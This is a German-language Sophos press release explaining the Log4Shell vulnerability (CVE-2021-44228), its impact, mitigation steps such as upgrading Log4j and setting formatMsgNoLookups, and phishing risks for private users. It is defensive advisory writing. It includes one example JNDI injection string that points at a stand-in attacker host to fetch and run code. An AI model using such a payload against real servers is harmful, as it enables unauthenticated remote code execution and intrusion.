„Der entscheidende Punkt bei der Log4Shell-Attacke ist, dass der Server automatisch Code ausführt. Was auch immer ein Angreifer einem Server mit der Sicherheitslücke auftragen will, er kann es tun. Deshalb ist es enorm wichtig, so schnell wie möglich zu patchen, denn viele Leute da draußen, die nichts Gutes im Sinn haben, versuchen bereits auszutesten, welche Server noch angreifbar sind.“
Paul Ducklin, IT-Security-Experte bei Sophos

Java-Schwachstelle Log4Shell – Was passiert ist und was zu tun ist

Letzten Freitag war es wieder soweit und nach prominenten Zero-Day-Schwachstellen wir Hafnium, Kaseya oder Solarwinds müssen sich Unternehmen erneut dringend mit einer hochkarätigen Server-Schwachstelle namens Log4Shell auseinandersetzen. Sophos klärt die wichtigsten Fakten und sagt, was zu tun ist.

Der Name Log4Shell bezieht sich auf die Tatsache, dass der ausgenutzte Fehler in einer beliebten Java-Codebibliothek namens Log4j (Logging for Java) enthalten ist, und darauf, dass Angreifer, wenn sie die Lücke erfolgreich ausnutzen, praktisch eine Shell erhalten – also die Möglichkeit, jeden System Code ihrer Wahl auszuführen.
Und als ob diese Kommandogewalt noch nicht genug wäre, wurde die Sicherheitslücke als Zero-Day-Lücke getwittert, also als Sicherheitsfehler, der dokumentiert wird, bevor ein Patch zur Verfügung steht. Zudem wurde das Proof-of-Concept (PoC) auf GitHub veröffentlicht und das Problem damit weltweit bekannt, während es noch ungepatcht war. Entsprechend laut läuten seit Freitag weltweit die Alarmglocken und auch in Deutschland hat z.B. das BSI die Warnstufe Rot ausgerufen.

Unsachgemäße Eingabevalidierung
Die Schwachstelle, mittlerweile offiziell als CVE-2021-44228 bekannt, hat ihren Ursprung in einer harmlosen Anfragesendung an einen anfälligen Server, die einige Daten – beispielsweise einen HTTP-Header – einschließt, von denen die Cyberkriminellen erwarten (oder sogar wissen), dass der Server sie in seine Logdatei schreibt. Die so eingeschleusten Daten bilden eine versteckte „Sprengfalle“, da der Server, während er die Daten in ein für die Protokollierung geeignetes Format umwandelt, einen Web-Download als integralen Bestandteil der Erstellung des erforderlichen Protokolleintrags startet. Und diese Aktion hat es in sich, denn wenn die zurückkommenden Daten ein gültiges Java-Programm sind (eine .class-Datei, im Jargon), dann führt der Server diese Datei aus, um ihm bei der Generierung der Protokolldaten zu helfen.

Der Trick besteht darin, dass ungepatchte Versionen der Log4j-Bibliothek standardmäßig Protokollierungsanforderungen ermöglichen, um allgemeine LDAP-Suchen (Verzeichnisdienste) sowie verschiedene andere Online-Suchen auszulösen. Dieses „Feature“ existiert, um dabei zu helfen, nicht sehr nützliche Daten, zum Beispiel Benutzer-IDs wie OZZJ5JYPVK, in menschenlesbare Informationen umzuwandeln, die in Ihrem Netzwerk sinnvoll sind, wie beispielsweise Peter Müller. Diese Anfragen erfolgen über ein häufig verwendetes Java-Toolkit namens JNDI, kurz für Java Naming and Directory Interface.

Dieses Vorgehen ist so lange tragbar, wie die protokollierten Daten, die eine Ausführung von serverseitigem Code auslösen können, auf Verzeichnisserver im eigenen Netzwerk beschränkt sind. Allerdings sind viel Server nicht entsprechend eingerichtet, und so könnten bösartige „Logsploiter“ versuchen, Text wie *{$jndi:ldap://dodgy.example:389/badcode}* in die

Daten einzubetten, von denen sie erwarten, dass Unternehmen sie protokollieren und Server dabei automatisch

- JNDI verwenden, um eine LDAP-Anfrage an den angegebenen Port (in unserem Beispiel 389) auf dem angegebenen nicht vertrauenswürdigen externen Server zu senden.
- den nicht vertrauenswürdigen Inhalt in den Standort *Badcode* abrufen.
- den vom Angreifer bereitgestellten Code ausführen, um „Hilfe“ bei der Protokollierung zu erhalten.

Einfach ausgedrückt, wird dieses Vorgehen im Fachjargon als nicht authentifizierte Remote Code Execution (RCE) bezeichnet. Ohne sich anzumelden oder ein Passwort oder Zugriffstoken zu benötigen, könnten Cyberkriminelle eine harmlos aussehende Anfrage verwenden, um Server dazu zu bringen, sich zu melden, ihren Code herunterzuladen und sich so mit ihrer Malware zu infizieren. Je nachdem, welche Zugriffsrechte ein Server auf das interne Netzwerk hat, kann eine solche RCE Cyberkriminellen dabei helfen, eine Vielzahl schädlicher Aufgaben auszuführen.

Und genau das macht die aktuelle Schachstelle Log4Shell so gefährlich. Angreifer können theoretisch Daten vom Server selbst abfließen lassen; Details über das interne Netzwerk erfahren, Daten auf dem Server ändern; Daten von anderen Servern im Netzwerk exfiltrieren; zusätzliche Hintertüren auf dem Server oder dem Netzwerk für zukünftige Angriffe einrichten oder weitere Malware wie Netzwerk-Snooper, Memory Scraper, Data Stealer und Cryptominer installieren.

Was ist zu tun?

Lizenzgeber Apache hat zu diesem Thema einen praktischen Sicherheitshinweis veröffentlicht. Sophos fasst außerdem noch einmal das Wichtigste zusammen:

- Upgrade auf Apache Log4j 2.15.0. Wenn Sie Log4j verwenden, ist jede 2.x-Version von 2.14.1 und früher anscheinend standardmäßig anfällig. (Wenn Sie noch Log4j 1.x verwenden, ist ebenfalls ein Upgrade Pflicht, da es nicht mehr mit Updates versorgt wird).
- Blockieren der Möglichkeit, dass JNDI Anfragen an nicht vertrauenswürdige Server stellt. Wenn Sie nicht aktualisieren können, aber Log4j 2.10.0 oder höher verwenden, können Sie den Konfigurationswert log4j2.formatMsgNoLookups auf true setzen, was das Ausgehen von LDAP und ähnlichen Abfragen von vornherein verhindert.
- Überprüfung der verwendeten Java-Laufzeit. Der zugrunde liegende Java Build, den Sie nutzen, verhindert möglicherweise, dass dieser Fehler basierend auf seiner eigenen Standardkonfiguration ausgelöst wird. Apache listet beispielsweise Oracle Java 8u121 explizit als Schutz vor diesem RCE auf.

Betrifft die Sicherheitslücke auch private Nutzer?

Log4Shell bedeutet nicht nur Alarmstufe Rot für Unternehmen, sondern auch private Nutzer können durchaus von den Auswirkungen der Lücke betroffen sein. Das gilt vor allem dann, wenn Privatpersonen Cloud-Server nutzen, die von einem Hosting-Unternehmen oder einem anderen Managed-Service-Provider betrieben werden – sei es ein Blog, ein Forum oder die Familienwebsite. Hier gilt es nun zunächst einmal herauszufinden, ob diese Services angreifbar und wann Patches geplant sind. Aktuell macht es sicherlich mehr Sinn, auf den entsprechenden Webseiten nach Informationen zu suchen, da die Anbieter höchstwahrscheinlich momentan von Emails überflutet werden.

Zusätzlich sollte auf offizielle Sicherheitswarnungen von genutzten Online-Diensten im Postfach geachtet werden...aber auch hier gilt es, Vorsicht walten zu lassen! Wenn Nutzer Nachrichten über die aktuelle Sicherheitslücke erhalten – eventuell noch von einem prominenten Serviceanbieter, sollten sie nicht automatisch auf die in der Warnmeldung angegeben Links klicken und auch keine Telefonnummern ohne kritische Prüfung wählen. Medienwirksame Cyberattacken wie Log4Shell rufen schnell Trittbrettfahren auf den Plan, die die Angst der Nutzer für ihre Phishing-Attacken nutzen wollen. Im Zweifelsfall sollten Nutzer

ihren eigenen Weg zur Informationsbeschaffung finden, indem Sie URLs, E-Mail-Adressen oder Telefonnummern verwenden, die sie bereits früher genutzt haben.

Neu: Social Media von Sophos für die Presse
Wir haben speziell für Sie als Journalist*in unsere Social-Media-Kanäle angepasst und aufgebaut. Hier tauschen wir uns gerne mit Ihnen aus. Wir bieten Ihnen Statements, Beiträge und Meinungen zu aktuellen Themen und natürlich den direkten Kontakt zu den Sophos Security-Spezialisten.
Folgen Sie uns auf und

LinkedIn: https://www.linkedin.com/groups/9054356/
Twitter: @sophos_info

Pressekontakt:

Sophos
Jörg Schindler, PR-Manager Central & Eastern Europe
joerg.schindler@sophos.com, +49-721-25516-263

TC Communications
Arno Lücht, +49-8081-954619
Thilo Christ, +49-8081-954617
Ulrike Masztalerz, +49-30-55248198
Ariane Wendt +49-172-4536839
sophos@tc-communications.de

Neu: Social Media von Sophos für die Presse
Wir haben speziell für Sie als Journalist*in unsere Social-Media-Kanäle angepasst und aufgebaut. Hier tauschen wir uns gerne mit Ihnen aus. Wir bieten Ihnen Statements, Beiträge und Meinungen zu aktuellen Themen und natürlich den direkten Kontakt zu den Sophos Security-Spezialisten.
Folgen Sie uns auf und

LinkedIn: https://www.linkedin.com/groups/9054356/
Twitter: @sophos_info

Pressekontakt:

Sophos
Jörg Schindler, PR-Manager Central & Eastern Europe
joerg.schindler@sophos.com, +49-721-25516-263

TC Communications
Arno Lücht, +49-8081-954619
Thilo Christ, +49-8081-954617
Ulrike Masztalerz, +49-30-55248198
Ariane Wendt +49-172-4536839
sophos@tc-communications.de